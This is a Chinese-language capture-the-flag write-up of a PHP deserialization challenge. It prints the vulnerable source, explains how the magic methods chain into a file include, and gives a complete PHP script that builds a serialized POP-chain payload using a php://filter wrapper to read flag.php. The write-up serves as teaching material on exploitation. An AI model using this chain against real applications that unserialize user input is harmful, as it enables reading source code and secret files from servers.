解題思路
打開一看直接是代碼審計的題,就嗯審。最近可能都在搞反序列化,先把反序列化的題刷爛,理解理解
代碼審計
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
看到反序列化函數,想到是反序列化的題了。類還行,不算很多,三個。一個一個分析
Modifier類
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
看到,我們需要反序列化的關鍵點了,include,文件包含漏洞,我們可以使用偽協議讀取注釋中flag.php中的內容
這里有魔法方法__invoke 當腳本嘗試將對象調用為函數時觸發,所以在腳本中,要把Modifier類調用為函數
Show類
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
看到這里有兩個魔法方法:
__toString 把類當作字符串使用時觸發
調用str屬性里的source,這里還看不出來有什么用
__wakeup 使用反序列化函數時觸發
過濾了source屬性里的一些字符串,過濾了部分偽協議讀取,但是還是有未過濾的偽協議可以讀取flag.php中的內容
正好這里的wakeup方法可以觸發tosring方法
Test類
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
這里有魔法方法:__get 從不可訪問的屬性中讀取數據會觸發
會返回function作為函數調用。
pop鏈
首先反序列化函數,觸發Show類中的wakeup方法,wakeup方法做字符串處理,觸發tosring方法,如果將str實例化為Test,因為Test類中不含source屬性,所以調用get方法,將function實例化為Modifier類,即可觸發其中invoke方法,最終調用文件包含函數,讀取flag.php
payload
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}
class Test{
public $p;
}
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
解題
將base64解密,即得出flag
知識點
- 代碼審計
- 反序列化尋找pop鏈